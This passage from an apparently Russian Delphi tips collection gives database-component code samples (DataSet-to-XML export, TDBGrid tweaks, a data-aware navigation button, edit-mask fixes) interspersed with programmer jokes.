    ftTime: Result    := FormatDateTime('hhnnss', Field.AsDateTime); 
    ftDateTime:  
      begin 
        Result := FormatDateTime('yyyymmdd', Field.AsDateTime); 
        DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec); 
        if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then 
          Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min, 
            2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3); 
      end; 
    else 
      Result := Field.AsString; 
  end; 
end; 
procedure DatasetToXML(Dataset: TDataSet; FileName: string); 
var 
  Stream: TFileStream; 
  bkmark: TBookmark; 
  i: Integer; 
begin 
  Stream       := TFileStream.Create(FileName, fmCreate); 
  SourceBuffer := StrAlloc(1024); 
  WriteFileBegin(Stream, Dataset); 
  with DataSet do 
  begin 
    DisableControls; 
    bkmark := GetBookmark; 
    First; 
    {write a title row} 
    WriteRowStart(Stream, True); 
    for i := 0 to FieldCount - 1 do 
      WriteData(Stream, nil, Fields[i].DisplayLabel); 
    {write the end of row} 
    WriteRowEnd(Stream, True); 
    while (not EOF) do 
    begin 
      WriteRowStart(Stream, False); 
      for i := 0 to FieldCount - 1 do 
        WriteData(Stream, Fields[i], GetFieldStr(Fields[i])); 
      {write the end of row} 
      WriteRowEnd(Stream, False); 
      Next; 
    end; 
    GotoBookmark(bkmark); 
    EnableControls; 
  end; 
  WriteFileEnd(Stream); 
  Stream.Free; 
  StrDispose(SourceBuffer); 
end; 
end. 
// Example: 
uses DS2XML; 
procedure TForm1.Button1Click(Sender: TObject); 
  begin  DatasetToXML(Table1, 'test.xml'); 
  end;

Как сделать экспорт TDataSet в XML файл.

Как программист узнает о ядерной войне? Выглядит это примерно так: Pinging calf.bk.ru [212.188.13.93] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 1.1.1.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
Автор: http://www.swissdelphicenter.ch
{Unit to export a dataset to XML}
unit DS2XML;
interface
uses
  Classes, DB;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
implementation
uses
  SysUtils;
var
  SourceBuffer: PChar;
procedure WriteString(Stream: TFileStream; s: string);
begin
  StrPCopy(SourceBuffer, s);
  Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;
procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet);
  function XMLFieldType(fld: TField): string;
  begin
    case fld.DataType of
      ftString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
      ftSmallint: Result := '"i4"'; //??
      ftInteger: Result := '"i4"';
      ftWord: Result := '"i4"'; //??
      ftBoolean: Result := '"boolean"';
      ftAutoInc: Result := '"i4" SUBTYPE="Autoinc"';
      ftFloat: Result := '"r8"';
      ftCurrency: Result := '"r8" SUBTYPE="Money"';
      ftBCD: Result := '"r8"'; //??
      ftDate: Result := '"date"';
      ftTime: Result := '"time"'; //??
      ftDateTime: Result := '"datetime"';
    else
    end;
    if fld.Required then
      Result := Result + ' required="true"';
    if fld.ReadOnly then
      Result := Result + ' readonly="true"';
  end;
var
  i: Integer;
begin
  WriteString(Stream,
    '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport -->  ' +
    '<DATAPACKET Version="2.0">');
  WriteString(Stream, '<METADATA><FIELDS>');
  {write th metadata}
  with Dataset do
    for i := 0 to FieldCount - 1 do
    begin
      WriteString(Stream, '<FIELD attrname="' +
        Fields[i].FieldName +
        '" fieldtype=' +
        XMLFieldType(Fields[i]) +
        '/>');
    end;
  WriteString(Stream, '</FIELDS>');
  WriteString(Stream,
    '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>');
  WriteString(Stream, '</METADATA><ROWDATA>');
end;
procedure WriteFileEnd(Stream: TFileStream);
begin
  WriteString(Stream, '</ROWDATA></DATAPACKET>');
end;
procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '<ROW');
end;
procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
  if not IsAddedTitle then
    WriteString(Stream, '/>');
end;
procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
  if Assigned(fld) and (AString <> '') then
    WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;
function GetFieldStr(Field: TField): string;
  function GetDig(i, j: Word): string;
  begin
    Result := IntToStr(i);
    while (Length(Result) < j) do
      Result := '0' + Result;
  end;
var
  Hour, Min, Sec, MSec: Word;
begin
  case Field.DataType of
    ftBoolean: Result := UpperCase(Field.AsString);
    ftDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
    ftTime: Result := FormatDateTime('hhnnss', Field.AsDateTime);
    ftDateTime:
      begin
        Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
        DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
        if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
          Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min,
            2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3);
      end;
  else
    Result := Field.AsString;
  end;
end;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
var
  Stream: TFileStream;
  bkmark: TBookmark;
  i: Integer;
begin
  Stream := TFileStream.Create(FileName, fmCreate);
  SourceBuffer := StrAlloc(1024);
  WriteFileBegin(Stream, Dataset);
  with DataSet do
  begin
    DisableControls;
    bkmark := GetBookmark;
    First;
    {write a title row}
    WriteRowStart(Stream, True);
    for i := 0 to FieldCount - 1 do
      WriteData(Stream, nil, Fields[i].DisplayLabel);
    {write the end of row}
    WriteRowEnd(Stream, True);
    while (not EOF) do
    begin
      WriteRowStart(Stream, False);
      for i := 0 to FieldCount - 1 do
        WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
      {write the end of row}
      WriteRowEnd(Stream, False);
      Next;
    end;
    GotoBookmark(bkmark);
    EnableControls;
  end;
  WriteFileEnd(Stream);
  Stream.Free;
  StrDispose(SourceBuffer);
end;
end.
//Beispiel, Example:
uses DS2XML;
procedure TForm1.Button1Click(Sender: TObject);
begin
  DatasetToXML(Table1, 'test.xml');
end;

Как заставить произвольный компонент реагировать на изменения в TDataSource.

Автор: Nomadic.

type
  TMyForm = class(TForm)
    {...}
    Table1: TTable;
    DataSource1: TDataSource;
  private
    FDL: TFieldDataLink;
    procedure RecChange(Sender: TObject);
  public
    {...}
  end;
procedure TMyForm.FormCreate(Sender: TObject);
begin
  FDL := TFieldDataLink.Create;
  FDL.OnDataChange := RecChange;
  FDL.DataSource := DataSource1;
  FDL.FieldName := 'MyFieldName';
end;
procedure TTabEditDlg.FormDestroy(Sender: TObject);
begin
  FDL.Free;
end;
procedure TTabEditDlg.MasterChange(Sender: TObject);
begin
  {... тут реагируй на изменения ...}
end;
За отслеживание различных событий, происходящих с TDataSource, в иерархии VCL отвечает класс TDataLink. TFieldDataLink - наследник, который выполняет маскирование событий, не относящихся к конкретному столбцу набора данных.

Если надо отслеживать изменения в любом столбце набора, используйте TDataLink. Если необходимо отслеживать события для некоторого подмножества строк набора данных, посмотрите на реализацию TGridDataLink.

Внимание! TDateTime 1899.

Автор: Kenneth D. James
Вчера программист Иванов отметил свой юбилей. Ему исполнилось 32 года.
Для обратной сортировки во многих моих таблицах я использую инвертирование поля типа дата (12/31/9999 минус реальная дата). В первой версии Delphi все было нормально, но во второй это не сработало, зато вот что я обнаружил в на странице 135 Reference Library Guide:

Delphi 1.0 вычислял дату первого года с 1899. Для преобразования даты Delphi 1.0 в формат даты Delphi 2.0, необходимо вычесть 693594.0 из даты Delphi 1.0. Формат даты был изменен для обеспечения совместимости с OLE 2.0 Automation.

Корректировка поведения маски TDateTimeField.

Оформил: DeeCo

Автор: Виктор Светлов.

При работе с полями в формате "дата-время" объектов типа TDataSet мои коллеги неоднократно сталкивались с проблемой поведения маски. Недавно у меня тоже возникла задача работы с такими полями. Возможно, ни один из нас просто не разобрался, как нужно делать правильно, но нужно было действовать. Проблема заключается в том, что при вводе с клавиатуры требуется обязательно указывать все знаки, включая ненужные в конкретном случае (временную часть). В противном случае генерируется ошибка:
'Invalid input value.  Use escape key to abandon changes'
После часа, потраченного на разбирательство с маской, возникло желание написать собственный компонент. Спросив у коллег, которые уже ходили этим путем, я решил посмотреть в исходниках - вдруг получится быстро обойти этот вопрос. Не буду брать на себя смелость комментировать, что и как делается в модуле Mask.pas. Кто хочет, может разобраться самостоятельно - ничего особо сложного там нет. Для начала в свойстве EditMask замените символ BlankChar с '_' на '0'. В результате получится маска вроде
!99/99/99 99:99:99;1;0
Чтобы при редактировании и просмотре значение выглядело одинаково, укажите свойство DisplayFormat
dd.mm.yy hh:nn:ss
Далее нужно добавить в проект файлы Consts.pas, Sysconsts.pas и Mask.pas. После внесения изменений закройте Дельфи, и открыв снова, перекомпилируйте проект. Затем указанные файлы можно исключить из проекта. Пример приведен для Дельфи 5. Изменения следующие:Consts.pas
//SMaskEditErr = 'Invalid input value.  Use escape key to abandon changes';
SMaskEditErr = 'Введено некорректное значение. Нажмите Esc для отмены';
SysConsts.pas
//SInvalidDateTime = '''%s'' is not a valid date and time';
SInvalidDateTime = '''%s'' - некорректное значение даты и времени';
Mask.pas
function TCustomMaskEdit.RemoveEditFormat(const Value: string): string;
…
  {шестая строка снизу}
{так было}
//    if Result[I] = FMaskBlank then
//      Result[I] := ' ';
{так стало}
if Result[I] = FMaskBlank then
  if FMaskBlank = '0' then
    Result[I] := FMaskBlank
  else
    Result[I] := ' ';
…
  function TCustomMaskEdit.Validate(const Value: string; var Pos: Integer):
    Boolean;
    …
      {одинадцатая строка снизу}
    {так было}
    //    if (Value [Offset] = FMaskBlank) or
    //      ((Value [Offset] = ' ') and (EditMask[MaskOffset] <> mMskAscii)) then
    if (FMaskBlank <> '0') and
      ((Value[Offset] = FMaskBlank) or
      ((Value[Offset] = ' ') and (EditMask[MaskOffset] <> mMskAscii))) then
      …
В завершении хочу поделиться полезной и простой функцией. Как правило, при создании документа, мы вставляем текущие дату и время. При этом секунды как правило не нужны.
function GetDateTimeWOSec(DateTime: TDateTime): TDateTime;
begin
  Result := StrToDateTime(FormatDateTime('dd.mm.yy hh:nn', DateTime));
end;
После проведения описанных манипуляций с полем в формате дата-время становиться так же приятно работать, как с компонентом TRXDateEdit.

Компонент Tdbf для непосредственного доступа к файлам DBF.

Автор: Матвеев Игорь Компонент TDBF предназначен для непосредственного доступа (без использования BDE, ODBC и т.п.) к файлам формата dbf версий dBase III+, dBase IV, dBase V, dBase for Windows. Работает с Delphi 3..6 под Windows 9X/NT4/2000/XP

Скачать компонент можно здесь

Изменить высоту строк по умолчанию для TDBGrid.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Derive a new Type: TMyDBGrid 
type
   TMyDBGrid = class(TDBGrid)
   public
     property DefaultRowHeight;
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.DFM}
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   DbGrid1.Canvas.Font.Size := 13;
   TMyDBGrid(DBGrid1).DefaultRowHeight := DBGrid1.Canvas.TextHeight('MMMMM') + 4;
 end;

Изменить высоту строк по умолчанию для TDBGrid 2.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 // Way: Make a TypeCast: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   DBGrid1.DataSource.DataSet.DisableControls;
   TStringGrid(DBGrid1).DefaultRowHeight := 55;
   DBGrid1.DataSource.DataSet.EnableControls;
 end;

Избавить TDBGrid от автоматического добавления новой записи.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{How to stop the dbgrid control from auto-appending a new entry when you move 
down after the last record in a table. 
It creates a new blank line / record in the table. Can this be stopped?}
 {A: Add to your TTables's "BeforeInsert"  event the following line:}
 procedure TForm1.Tbable1BeforeInsert(DataSet: TDataSet);
 begin
   Abort;  {<<---this line}
 end;
 {A: It traps the down key and checks for end-of-file.}
 procedure TForm8.DBGrid1KeyDown(Sender: TObject; var Key: Word;
   Shift: TShiftState);
 begin
   if (Key = VK_DOWN) then
   begin
     TTable1.DisableControls;
     TTable1Next;
     if TTable1.EOF then
       Key := 0
     else
       TTable1.Prior;
     TTable1.EnableControls;
   end;
 end;

Проблема хранения TDBImage.

Автор: Steve Flynn
Краткое руководство по преодолению последствий нарушений трудовой дисциплины. (Для несознательных компьютерщиков) Ситуация 1: Вы опаздываете на работу. На проходной стоит шеф. Ваши действия: а)Зимний вариант.Снять и спрятать где-нибудь верхнюю одежду. Показать шефу пачку сигарет, объяснив мимоходом, что Вы уже на месте, просто выскочили на секунду в табачный ларек; б)Летний вариант. Найти пустую коробку (желательно побольше), положить туда что-нибудь потяжелее и поживописнее изобразить погрузочно-разгрузочные работы (с потением и кряхтением); Ситуация 2: Вы вышли с товарищем на чашку кофе. Шеф в течении часа ожидает Вас на Вашем рабочем месте. Ваши действия: а)Сказать,что из винчестера высыпалось несколько кластеров. Пришлось идти занимать у соседей; б)Сделать удивленное лицо и сказать, что сами целый час торчали под дверью кабинета шефа, для консультации как раз по тому же самому вопросу; Ситуация 3: Шеф делает замечание, что после посещения коллеги-компьютерщика от Вас попахивает спиртным и требует объяснений. Ваши действия: а) Предложите шефу купить новый суперсовременный компьютер, чтобы сэкономить на промывке спиртом контактов и разъёмов. б) Объясните, что промывали базу данных техническим спиртом; Ситуация 4: Вы серьезно превысили лимит работы в Internet'e, просидев несколько часов в bk.ru Ваши действия: а)Напишите в объяснительной, что новоприобретенная программа пыталась самостоятельно связаться через Internet с разработчиками для согласования каких-то технических деталей; б)Поясните это возросшим объемом переписки с зарубежными фирмами, которые засыпали Вас выгодными предложениями о работе. Ситуация 5: Вы задержались на несколько часов после работы, чтобы добить свою левую халтуру. Шеф интересуется причиной переработки. Ваши действия: а)Поблагодарите шефа за заботу, в нескольких словах расскажите о своей любви к фирме и намекните на прибавку к зарплате; б)Объясните,что Вы хотя бы так пытаетесь компенсировать свои частые опоздания на работу и несанкционированные отлучки. Намекните про снятие выговора за опоздания.
Исходный код компонента DBImage содержит ошибку, поскольку пробует загрузить данные буфера обмена, ища CF_PICTURE. А это несовместимо с хранящимися в поле данными. Я исправил эту ошибку, изменив исходный код таким образом, чтобы данные буфера обмена сначала читались во временный TBitmap. TBitmap регистрируется как CF_PICTURE. Временное изображение затем назначалось полю и, поскольку оно также работает с изображениями, то и данным поля.

Все это потребует от вас изменений в исходном коде VCL, конкретно - в модуле DBCTRLS.PAS. Затем, естественно, это необходимо перекомпилить и пересобрать:

procedure TDBImage.PasteFromClipboard;
var
  ClipBrdBmp: TBitmap;
begin
  ClipBrdBmp := TBitmap.Create;
  if Clipboard.HasFormat(CF_BITMAP) and FDataLink.Edit then
  begin
    ClipBrdBmp.Assign(Clipboard);
    Picture.Assign(ClipBrdBmp);
  end;
  ClipBrdBmp.Free;
end;

Это все. Проблема решена.

TDBLookupComboBox. Реакция на нажатие ESC.

Автор: Vedmed Если на форме находится компонент TDBLookupComboBox и TButton со свойством Cancel, равным True, то выпадающий список компонента TDBLookupComboBox может не закрываться при нажатии клавиши ESC. Проверялось на Windows 2000 professional eng, Delphi 5, Delphi 7 ТИПОВЫЕ РЕШЕНИЯ Описанный эффект проявляется в том случае, если при создании формы TButton создается перед TDBLookupComboBox, таким образом решение проблемы - переместить описание TButton в DFM файле после описания TDBLookupComboBox. Скачать тест StoneTest_28.zip (1.5k) КОММЕНТАРИЙ

Эффект имеет место быть. Что интересно, с обычным TComboBox и TDBComboBox такого не проиходит.

TDBMemo в TDBCtrlGrid.

Статьи по Delphi (017)…

Автор: Pat Ritchey
Останавливает ГИБДДшник машину, из машины вываливается сильно пьяный водитель. ГИБДДшник спрашивает: - Ваши права? Водитель отвечает (с трудом ворочая языком): - Root!
Из-за непонятных причин, компоненты TDBImage и TDBMemo не могут быть размещены в DBCtrlGrid.

Обойти данное препятствие можно путем создания наследника TDBImage (или TDBMemo), позволяющего его помещать в DBCtrlGrid. Перекройте конструктор Create следующим образом:

constructor TMYDBImage.Create(AOwner:TComponent);
begin
  inherited Create(AOWner);
  ControlStyle := ControlStyle + [csReplicatable];
end;

Пример создания компонента TDBNavigationButton.

unit NavBtn;
{ TDBNavigationButton: a data-aware TBitBtn
  Delphi 1 + 2
 The Beast
 E-Mail: thebeast_first_666@yahoo.com
 ICQ: 67756646
}
interface
uses
  WinTypes, WinProcs, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Messages, StdCtrls, Buttons, dbconsts, DB, DBTables;
type
  TNavigationButtonDataLink = class;
  TDBNavigationButtonType = (
    nbCustom,
    nbFirst, nbPrior, nbNext, nbLast,
    nbInsert, nbDelete,
    nbEdit,
    nbPost, nbCancel,
    nbRefresh);
  TBeforeActionEvent =
    procedure (Sender: TObject; var ActionIsDone: Boolean) of object;
  TDbNBDisableReason = (
    drBOF, drEOF, drReadonly,
    drNotEditing, drEditing, drEmpty);
  TDbNBDisableReasons = set of TDbNBDisableReason;
{ TDBNavigationButton }
  TDBNavigationButton = class (TBitBtn)
  private
    FDisableReasons: TDbNBDisableReasons;
    FDataLink: TNavigationButtonDataLink;
    FConfirmDelete: Boolean;
    FButtonEnabled: Boolean;
    FDBNavigationButtonType: TDBNavigationButtonType;
    FOnBeforeAction: TBeforeActionEvent;
    FOldOnGlyphChanged: TNotifyEvent;
    FCustomGlyph: Boolean;
    function GetDataSource: TDataSource;
    procedure SetDataSource(Value: TDataSource);
    procedure SetDBNavigationButtonType(Value: TDBNavigationButtonType);
    procedure ReadButtonEnabled(Reader: TReader);
    procedure WriteButtonEnabled(Writer: TWriter);
    function NumberOfStandardComponentName: Integer;
    function HasStandardComponentName: Boolean;
    procedure LoadGlyph;
    function StoreGlyph: Boolean;
    procedure GlyphChanged(Sender: TObject);
    procedure UpdateEnabled;
    procedure CalcDisableReasons;
  protected
    procedure DataChanged;
    procedure EditingChanged;
    procedure ActiveChanged;
    procedure Loaded; override;
    procedure DefineProperties(Filer: TFiler); override;
    procedure Notification(AComponent: TComponent;
      Operation: TOperation); override;
    procedure CMEnabledChanged(var Message: TMessage);
      message CM_ENABLEDCHANGED;
    procedure Click; override;
    procedure DoAction; virtual;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property ConfirmDelete: Boolean
      read FConfirmDelete write FConfirmDelete default True;
    property DataButtonType: TDBNavigationButtonType
      read FDBNavigationButtonType write SetDBNavigationButtonType;
    property DataSource: TDataSource read GetDataSource write SetDataSource;
    property Glyph stored StoreGlyph;
{   Use BeforeAction instead of the Click-event if you want to cancel
    the default-action by setting ActionIsDone to true.
    The Click-event is called before the DoAction-event. }
    property OnBeforeAction: TBeforeActionEvent
      read FOnBeforeAction write FOnBeforeAction;
{   Use DisableReasons to say on what case the button has to be disabled.
    It is set automatic if you set DataButtonType <> nbCustom.
    DisableReason  | Disable if Dataset is...
    ---------------+-------------------------
      drBOF        | EOF
      drEOF        | BOF
      drReadonly   | Readonly
      drNotEditing | Not in insert or edit-mode
      drEditing    | In insert or edit-mode
      drEmpty      | Both BOF and EOF }
    property DisableReasons: TDbNBDisableReasons
      read FDisableReasons write FDisableReasons;
  end;
{ TNavigationButtonDataLink }
  TNavigationButtonDataLink = class(TDataLink)
  private
    FDBNavigationButton: TDBNavigationButton;
  protected
    procedure EditingChanged; override;
    procedure DataSetChanged; override;
    procedure ActiveChanged; override;
  public
    constructor Create(aDBNavigationButton: TDBNavigationButton);
    destructor Destroy; override;
  end;
procedure Register;
implementation
{ $R DBCTRLS} { uses DBCTRLS.RES, but that is already linked by DB.PAS }
const
{ RegisterPanel = 'Datensteuerung'; { german }
  RegisterPanel = 'Data Controls';
const
  CtrlNamePrefix = 'dbNavBtn';
  StandardComponentName = 'DBNavigationButton';
const
  BtnTypeName: array[TDBNavigationButtonType] of PChar =
    ('', 'FIRST', 'PRIOR', 'NEXT', 'LAST', 'INSERT', 'DELETE',
     'EDIT', 'POST', 'CANCEL', 'REFRESH');
  BtnName: array[TDBNavigationButtonType] of string =
    ('', 'First', 'Prior', 'Next', 'Last', 'New', 'Delete',
     'Edit', 'Save', 'Cancel', 'Refresh');
{ TNavigationButtonDataLink }
constructor TNavigationButtonDataLink.Create(aDBNavigationButton: TDBNavigationButton);
begin
  inherited Create;
  FDBNavigationButton := aDBNavigationButton;
end;
destructor TNavigationButtonDataLink.Destroy;
begin
  FDBNavigationButton := nil;
  inherited Destroy;
end;
procedure TNavigationButtonDataLink.EditingChanged;
begin
  if FDBNavigationButton <> nil then FDBNavigationButton.EditingChanged;
end;
procedure TNavigationButtonDataLink.DataSetChanged;
begin
  if FDBNavigationButton <> nil then FDBNavigationButton.DataChanged;
end;
procedure TNavigationButtonDataLink.ActiveChanged;
begin
  if FDBNavigationButton <> nil then FDBNavigationButton.ActiveChanged;
end;
{ TDBNavigationButton }
constructor TDBNavigationButton.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FDataLink := TNavigationButtonDataLink.Create(Self);
  DataButtonType := nbCustom;
  FConfirmDelete := True;
  FButtonEnabled := True;
  FCustomGlyph := false;
  FOldOnGlyphChanged := Glyph.OnChange;
  Glyph.OnChange := GlyphChanged;
  FDisableReasons := [];
end;
destructor TDBNavigationButton.Destroy;
begin
  FDataLink.Free;
  FDataLink := nil;
  inherited Destroy;
end;
procedure TDBNavigationButton.GlyphChanged(Sender: TObject);
begin
  FCustomGlyph := true;
  if Assigned(FOldOnGlyphChanged) then FOldOnGlyphChanged(Sender);
end;
function TDBNavigationButton.StoreGlyph: Boolean;
begin { store only user-defined glyph: }
  result := (FDBNavigationButtonType = nbCustom) or FCustomGlyph;
end;
procedure TDBNavigationButton.LoadGlyph;
var
{$IFNDEF WIN32}
  Buffer: array[0..79] of Char;
{$ENDIF NDEF WIN32}
  ResName: string;
begin
  if (FDBNavigationButtonType = nbCustom) then
    exit;
  try
  { Load the Bitmap that DBNavigator would load: }
    FmtStr(ResName, 'dbn_%s', [BtnTypeName[FDBNavigationButtonType]]);
  {$IFDEF WIN32}
    Glyph.Handle := LoadBitmap(HInstance, PChar(ResName));
  {$ELSE DEF WIN32}
  { Glyph.Assign(nil); { clear }
    Glyph.Handle := LoadBitmap(HInstance, StrPCopy(Buffer, ResName));
  {$ENDIF DEF WIN32}
    NumGlyphs := 2;
    FCustomGlyph := false;
  except
  { error: do nothing }
  end;
end;
procedure TDBNavigationButton.CalcDisableReasons;
begin
  case FDBNavigationButtonType of
    nbPrior: FDisableReasons := [drBOF, drEditing, drEmpty];
    nbNext: FDisableReasons := [drEOF, drEditing, drEmpty];
    nbFirst: FDisableReasons := [drBOF, drEditing, drEmpty];
    nbLast: FDisableReasons := [drEOF, drEditing, drEmpty];
    nbInsert: FDisableReasons := [drReadonly, drEditing];
    nbEdit: FDisableReasons := [drReadonly, drEditing, drEmpty];
    nbCancel: FDisableReasons := [drNotEditing];
    nbPost: FDisableReasons := [drNotEditing];
    nbRefresh: FDisableReasons := [drEditing];
    nbDelete: FDisableReasons := [drReadonly, drEditing, drEmpty];
  end;
end;
function TDBNavigationButton.NumberOfStandardComponentName: Integer;
function NumberOfName(const TestName: String): Integer;
begin
  if (Length(Name) > Length(TestName)) and
     (Copy(Name, 1, Length(TestName)) = TestName) then
  begin
    try
      result := StrToInt(Copy(Name, Length(TestName) + 1, 255));
    except
      result := 0;
    end;
  end
  else
    result := 0;
end; { function NumberOfName }
begin { TDBNavigationButton.NumberOfStandardComponentName }
  result := NumberOfName(StandardComponentName);
  if (result = 0) then
    result := NumberOfName(CtrlNamePrefix + BtnName[FDBNavigationButtonType]);
end;
function TDBNavigationButton.HasStandardComponentName: Boolean;
function HasName(const TestName: String): Boolean;
begin
  if (Length(Name) > Length(TestName)) and
     (Copy(Name, 1, Length(TestName)) = TestName) then
  begin
    try
      result := (StrToInt(Copy(Name, Length(TestName) + 1, 255)) > 0);
    except
      result := false;
    end;
  end
  else
    result := (Name = TestName);
end; { function HasName }
begin
  result :=
    HasName(StandardComponentName) or
    HasName(CtrlNamePrefix + BtnName[FDBNavigationButtonType]);
end;
procedure TDBNavigationButton.SetDBNavigationButtonType(
  Value: TDBNavigationButtonType);
const
  TooMuch_SomethingIsWrong = 33;
var
  NewName: string;
  Number: Integer;
begin
  if (Value = FDBNavigationButtonType) then
    exit;
  if (csLoading in ComponentState) then
  begin
    FDBNavigationButtonType := Value;
    CalcDisableReasons;
    exit;
  end;
  Enabled := True;
  Spacing := -1;
  if (Value = nbCustom) then
    FCustomGlyph := true
  else
    if (FDBNavigationButtonType = nbCustom) or
       (Caption = BtnName[FDBNavigationButtonType]) then
    { Change caption if it was created automatically: }
      Caption := BtnName[Value];
  try { ... to change the name of the component: }
    if (csDesigning in ComponentState) and
       HasStandardComponentName then
    begin
      if (Value = nbCustom) then
        NewName := StandardComponentName
      else
        NewName := CtrlNamePrefix + BtnName[Value];
      if (Owner <> nil) and (Owner.FindComponent(NewName) <> nil) then
      begin
        Number := NumberOfStandardComponentName;
        if (Number = 0) then
          Number := 1;
        repeat
          if (Value = nbCustom) then
            NewName := StandardComponentName + IntToStr(Number)
          else
            NewName := CtrlNamePrefix + BtnName[Value] + IntToStr(Number);
          Inc(Number);
        until (Owner.FindComponent(NewName) = nil) or
              (Number = TooMuch_SomethingIsWrong);
      end;
      Name := NewName;
    end;
  except
  { don't change name if error occured }
  end;
  Enabled := False;
  Enabled := True;
  FDBNavigationButtonType := Value;
  LoadGlyph;
  CalcDisableReasons;
end;
procedure TDBNavigationButton.Notification(AComponent: TComponent;
  Operation: TOperation);
begin
  inherited Notification(AComponent, Operation);
  if (Operation = opRemove) and (FDataLink <> nil) and
     (AComponent = DataSource) then DataSource := nil;
end;
procedure TDBNavigationButton.DoAction;
var
  Cancel: Boolean;
begin
  if (not (csDesigning in ComponentState)) and
     Assigned(FOnBeforeAction) then
  begin
    Cancel := (FDBNavigationButtonType = nbCustom);
    FOnBeforeAction(self, Cancel);
    if Cancel then
      exit;
  end;
  if (DataSource <> nil) and (DataSource.State <> dsInactive) then
  begin
    with DataSource.DataSet do
    begin
      case FDBNavigationButtonType of
        nbPrior: Prior;
        nbNext: Next;
        nbFirst: First;
        nbLast: Last;
        nbInsert: Insert;
        nbEdit: Edit;
        nbCancel: Cancel;
        nbPost: Post;
        nbRefresh: Refresh;
        nbDelete:
          {if not FConfirmDelete or
            (MessageDlg(LoadStr(SDeleteRecordQuestion), mtConfirmation,
            mbOKCancel, 0) <> idCancel) then Delete;}
      end;
    end;
  end;
end;
procedure TDBNavigationButton.Click;
begin
  inherited Click;
  DoAction;
end;
procedure TDBNavigationButton.UpdateEnabled;
var
  PossibleDisableReasons: TDbNBDisableReasons;
begin
  if (csDesigning in ComponentState) then
    exit;
  if (csDestroying in ComponentState) then
    exit;
  if not FButtonEnabled then
    exit;
  if FDataLink.Active then
  begin
    PossibleDisableReasons := [];
    if FDataLink.DataSet.BOF then
      Include(PossibleDisableReasons, drBOF);
    if FDataLink.DataSet.EOF then
      Include(PossibleDisableReasons, drEOF);
    if not FDataLink.DataSet.CanModify then
      Include(PossibleDisableReasons, drReadonly);
    if FDataLink.DataSet.BOF and FDataLink.DataSet.EOF then
      Include(PossibleDisableReasons, drEmpty);
    if FDataLink.Editing then
      Include(PossibleDisableReasons, drEditing)
    else
      Include(PossibleDisableReasons, drNotEditing);
  end
  else
    PossibleDisableReasons := [drBOF, drEOF, drReadonly, drNotEditing, drEmpty];
  Enabled := (FDisableReasons * PossibleDisableReasons = []);
  FButtonEnabled := true;
end;
procedure TDBNavigationButton.DataChanged;
begin
  UpdateEnabled;
end;
procedure TDBNavigationButton.EditingChanged;
begin
  UpdateEnabled;
end;
procedure TDBNavigationButton.ActiveChanged;
begin
  if not (csDesigning in ComponentState) then
  begin
    UpdateEnabled; { DataChanged; EditingChanged; }
  end;
end;
procedure TDBNavigationButton.CMEnabledChanged(var Message: TMessage);
begin
  inherited;
  if (not (csLoading in ComponentState)) and
     (not (csDestroying in ComponentState)) then
  begin
    FButtonEnabled := Enabled;
    ActiveChanged;
  end;
end;
procedure TDBNavigationButton.SetDataSource(Value: TDataSource);
begin
  FDataLink.DataSource := Value;
  if not (csLoading in ComponentState) then
    ActiveChanged;
{$IFDEF WIN32}
  if Value <> nil then Value.FreeNotification(Self);
{$ENDIF DEF WIN32}
end;
function TDBNavigationButton.GetDataSource: TDataSource;
begin
  Result := FDataLink.DataSource;
end;
procedure TDBNavigationButton.ReadButtonEnabled(Reader: TReader);
begin
  FButtonEnabled := Reader.ReadBoolean;
end;
procedure TDBNavigationButton.WriteButtonEnabled(Writer: TWriter);
begin
  Writer.WriteBoolean(FButtonEnabled);
end;
procedure TDBNavigationButton.DefineProperties(Filer: TFiler);
begin
  inherited DefineProperties(Filer);
  Filer.DefineProperty('RuntimeEnabled', ReadButtonEnabled, WriteButtonEnabled, true);
end;
procedure TDBNavigationButton.Loaded;
begin
  inherited Loaded;
  if Glyph.Empty then { no user-defined glyph: }
    LoadGlyph; { load standard glyph }
  Enabled := FButtonEnabled; {}
  ActiveChanged;
end;
procedure Register;
begin
  RegisterComponents(RegisterPanel, [TDBNavigationButton]);
end;
end.

Изменить иконки для TDBNavigator.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure ChangeDBNavImage(DBnav: TDbNavigator);
 var
   i: Integer;
   tempGlyph: TBitmap;
   ExePath: string;
 begin
   ExePath := ExtractFilePath(Application.ExeName);
   tempGlyph := TBitmap.Create;
   try
     with DBNav do
     begin
       for i := 0 to ControlCount - 1 do
       begin
